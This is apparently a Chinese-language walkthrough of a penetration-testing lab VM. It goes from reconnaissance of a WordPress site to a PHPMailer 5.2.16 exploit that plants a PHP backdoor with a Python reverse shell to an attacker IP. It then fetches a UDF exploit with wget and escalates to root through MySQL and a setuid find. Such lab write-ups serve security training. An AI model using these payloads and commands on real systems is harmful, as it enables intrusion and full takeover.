第三个渗透靶机
信息收集 这个靶机让我体会到了信息收集的重要性,后面反思了下靶机没打通的原因主要还是信息收集没到位。和前面的手法一样,先通过arp-scan -l 或者 nmap 来找到靶机IP,这里是192.168.4.132
接着进行全端口扫描,nmap -p 1-65535 192.168.4.132
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(root㉿kali)-[/home/kali/Desktop] └─# nmap -p 1-65535 192.168.4.132 Starting Nmap 7.92 ( https://nmap.org ) at 2026-02-26 20:22 EST Nmap scan report for 192.168.4.132 Host is up (0.00061s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 42729/tcp open unknown MAC Address: 00:0C:29:D7:64:50 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds
开放了22、80、111、42729 端口
开放了80端口,即web服务,所以我利用xray的被动扫描结合御剑进行了一波信息收集,发现用的框架是wordpress,接着用kali自带的wpscan来对wordpress进行专项扫描wpscan --url http://192.168.4.132/wordpress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [+] URL: http://192.168.4.132/wordpress/ [192.168.4.132] [+] Started: Thu Feb 26 20:44:32 2026 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.10 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://192.168.4.132/wordpress/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://192.168.4.132/wordpress/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://192.168.4.132/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://192.168.4.132/wordpress/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05). | Found By: Emoji Settings (Passive Detection) | - http://192.168.4.132/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.7' | Confirmed By: Meta Generator (Passive Detection) | - http://192.168.4.132/wordpress/, Match: 'WordPress 4.8.7'
收集到了一些信息,可以发现wordpress的版本信息4.8.7,搜索一下,有一篇文章是讲[PHP反序列化漏洞的新攻击面_wordpress反序列化-CSDN博客](https://blog.csdn.net/Fly_hps/article/details/82736157) 但是需要先登录进去,刚好前期扫描也发现了登录的口子:http://192.168.4.132/wordpress/wp-login.php但是到这里思路就已经断了。因为不管输入什么账号密码,都会跳转。爆破也不行。
前期因为思维懒惰性,没有对收集到的信息进行一个一个遍历利用。。。其实这里通过dirb收集或者dirsearch 都可以发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(root㉿kali)-[/home/kali/Desktop/dirsearch] └─# dirsearch -u http://192.168.4.132 Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/kali/.local/share/Trash/files/dirsearch/reports/http_192.168.4.132/_26-02-26_20-30-22.txt Target: http://192.168.4.132/ [20:30:22] Starting: [20:30:23] 200 - 18KB - /.DS_Store [20:30:25] 200 - 3KB - /about.html [20:30:30] 200 - 3KB - /contact.php [20:30:33] 200 - 762B - /js/ [20:30:34] 200 - 201B - /manual/index.html [20:30:41] 200 - 816B - /vendor/ [20:30:42] 200 - 1KB - /wordpress/wp-login.php [20:30:42] 200 - 17KB - /wordpress/ Task Completed
比如这里的vendor文件夹,我觉得没有什么东西就没去管它。。。。犯了信息收集的大忌
但其实vendor里面蕴含了大量信息:
可以发现是用的PHPMailer 以及版本为5.2.16,google搜一下相关poc PHPMailer 5.2.16 exploit,第一个就是:
给了漏洞相关的详细信息,这里给了漏洞ID,所以我们也可以直接在kali里面找到相关漏洞利用的脚本:
当然我们需要对脚本进行一些修改,一共是四处:
1 2 3 4 5 6 7 8 9 10 target='http://192.168.4.132/contact.php' backdoor='/123.php' payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.4.130\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' fields={'action' : 'submit' , 'name' : payload, 'email' : '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/123.php server\" @protonmail.com' , 'message' : 'Pwned' }
具体使用就是直接用python3环境来运行:python 40974.py,然后kali 起一个监听4444端口: nc -lvp 4444,然后我们随便访问一下target:http://192.168.4.132/contact.php,接着会生成123.php,我们访问一下http://192.168.4.132/123.php,就会收到弹回来的shell:
反弹shell拿到的权限是www-data用户的权限。这里有个小技巧,为了让我们的终端使用更方便,不会因为ctrl+z 动不动就退出去。也不会因为删除键而产生一些乱码。我们可以这样来做:
1 2 3 4 5 反弹到shell之后 1.python -c 'import pty;pty.spawn("/bin/bash")' 2.Ctrl+z 退出去 3.stty raw -echo;fg 注意这两个命令放一起,不要分开执行,之前就是分开执行一直没成功 4.Ctrl+c 发现此时拿到的就是一个增强性的交互式终端了,可以通过⬆⬇来找命令,和我们kali正常的shell一样好用了。
进去之后依然是信息收集—
这里在 /wordpress/ 下面可以找到wp-config.php 可以翻到数据库的账号密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 define ('DB_NAME' , 'wordpress' );define ('DB_USER' , 'root' );define ('DB_PASSWORD' , 'R@v3nSecurity' );define ('DB_HOST' , 'localhost' );define ('DB_CHARSET' , 'utf8mb4' );define ('DB_COLLATE' , '' );
root/R@v3nSecurity
但是前期我们扫描端口,发现3306没有开启,这里有两种可能,一个是mysql没有对外开放,另外一个就是可能用的是其他端口。我们ps -aux 来看一下:
发现mysql进程是运行的在,并且还是以root权限在运行
提权 接下来就是进去到mysql里面,看看能不能通过mysql来提权
1 2 3 4 mysql -uroot -p 输入密码:R@v3nSecurity 进入到mysql控制台 select version(); 得到版本5.5.60
接下来可以尝试UDF提权,网上可以搜一下mysql 5.5.60 udf exploit,可以发现一个4.x 5.x的通用UDF提权脚本,对应的EDB-ID是1518,所以这里也是可以通过kali找到对应的脚本的,找到之后,放到kali桌面上,python起一个Web服务,然后wget下载到靶机上面,通过靶机的环境来编译,具体的编译方式这里usage给出了说明:
1 2 $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
有了.so文件之后我们来看看到底怎么利用
UDF就是user define function:用户自定义函数,UDF提权就是用户自定义函数提权,相当于通过mysql自定义的函数来执行系统命令,而mysql如果又是运行在root上的, 那不就是以root的身份执行了一个系统命令?那这样权限就可以得到扩充了。所以这个利用有些前提:
1 2 mysql 运行在root上面 我们拿到的mysql账户可以在一些目录下面进行文件的导入导出操作,这样才有可能把.so文件搞到插件目录/plugin里面去
第一个条件验证满足,第二个条件我们通过show global variables like 'secure%'; 来看安全参数:
1 2 3 4 5 6 7 8 mysql> show global variables like 'secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.00 sec)
可以看到这里的secure_file_priv对应的空值,所以是允许文件进行导入导出的。没有任何限制。如果这里是null那就是不允许,如果是具体的一个值,那就是限制了导入导出的目录。
所以接下来做的一切工作都是想办法把UDF提权脚本弄到靶机上面,然后编译,然后弄到/plugin下面,最后通过自定义函数以root的身份来执行系统命令.
所以第一步我们是把raptor_udf2.c文件弄到靶机上面,一般会选择/tmp目录,因为一般可写。和前面几个靶机的方法一样:
kali:python -m http.server 9999
靶机:cd /tmp wget http://192.168.4.130:9999/raptor_udf2.c
弄到靶机的/tmp目录之后需要编译成.so文件,这里按照poc的usage编译会报错,问了一下gemini,做了一些更正,多了一个-fPIC
1 2 1.gcc -g -c -fPIC raptor_udf2.c -o raptor_udf2.o 2.gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
经过编译之后,在/tmp下生成了 raptor_udf2.so文件
第二步就是怎么把靶机/tmp/raptor_udf2.so文件的内容搞到mysql的plugin下面,这里先通过show global variables like 'plugin%'; 找到插件目录的位置:
1 2 3 4 5 6 7 mysql> show global variables like 'plugin%'; 找到plugin所在位置:/usr/lib/mysql/plugin mysql> use mysql; mysql> create table foo(line blob); #创建一个表,只有一行,存储二进制数据 mysql> insert into foo values(load_file('/tmp/raptor_udf2.so')); #把.so的二进制流数据放到foo表里面 mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/227.so'; #从foo表里面提取出来写入到plugin插件目录里面 mysql> create function do_system returns integer soname '227.so';#创建同名函数do_system,并告知加载227.so 这个动态链接库。
执行完以上命令之后,可以发现函数已经被成功创建
1 2 3 4 5 6 7 mysql> select * from mysql.func; +-----------+-----+--------+----------+ | name | ret | dl | type | +-----------+-----+--------+----------+ | do_system | 2 | 227.so | function | +-----------+-----+--------+----------+ 1 row in set (0.00 sec)
第三步就是执行恶意命令
1 2 3 4 5 6 7 mysql> select do_system('chmod u+s /usr/bin/find'); +--------------------------------------+ | do_system('chmod u+s /usr/bin/find') | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec)
此时相当于以root权限执行了chmod u+s /usr/bin/find 命令,所以我们可以利用find来提权了
可以发现提权成功。